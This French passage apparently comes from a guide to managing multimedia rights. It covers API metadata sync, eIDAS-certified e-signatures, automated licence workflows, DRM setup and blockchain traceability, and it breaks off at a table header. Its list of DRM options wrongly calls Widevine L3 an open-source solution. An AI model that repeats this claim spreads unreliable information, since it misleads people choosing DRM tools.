  • Synchroniser ces métadonnées avec la plateforme de distribution via API pour que chaque téléchargement ou streaming soit associé à la bonne clause contractuelle.

c) Mise en œuvre de contrats numériques dématérialisés avec signatures électroniques certifiées (ex. eIDAS)

Pour assurer la validité juridique et la traçabilité :

  1. Choisir une plateforme de signature électronique certifiée : DocuSign, Yousign, ou solutions compatibles eIDAS.
  2. Intégrer l’API de la plateforme à votre système de gestion : via OAuth2 pour automatiser la signature lors de la validation d’un contrat ou d’une licence.
  3. Archiver les documents signés : en utilisant des systèmes de stockage décentralisés ou blockchain pour garantir leur immutabilité.

d) Étapes pour la gestion des renouvellements, modifications et résiliations de licences via des outils automatisés

Le processus doit s’appuyer sur des workflows automatisés :

  • Configurer des triggers dans votre système (par exemple, via Zapier ou Integromat) pour détecter la date d’échéance ou la demande de modification.
  • Automatiser la génération de nouveaux contrats ou la résiliation via API de signature électronique.
  • Mettre à jour en temps réel les métadonnées et les bases de données pour refléter l’état actuel de la licence.

4. Implémenter une infrastructure technique avancée pour le contrôle et la traçabilité des droits

a) Configuration de systèmes de gestion des droits numériques (DRM) spécifiques aux œuvres multimédias

Pour garantir une protection robuste :

  1. Sélectionner un fournisseur DRM adapté : Widevine, PlayReady, FairPlay, ou solutions open source comme Widevine L3.
  2. Configurer des profils DRM : en définissant précisément les droits d’accès (ex : lecture seule, durée limitée), en utilisant des policies basées sur des métadonnées.
  3. Intégrer le DRM dans votre plateforme de distribution : via SDK ou API, en veillant à ce que chaque contenu soit encodé avec la clé de chiffrement appropriée.

b) Déploiement de blockchain ou de registres distribués pour assurer la traçabilité et l’immutabilité des droits

Ce niveau d’expertise exige un déploiement en plusieurs phases :

Étape Action Outil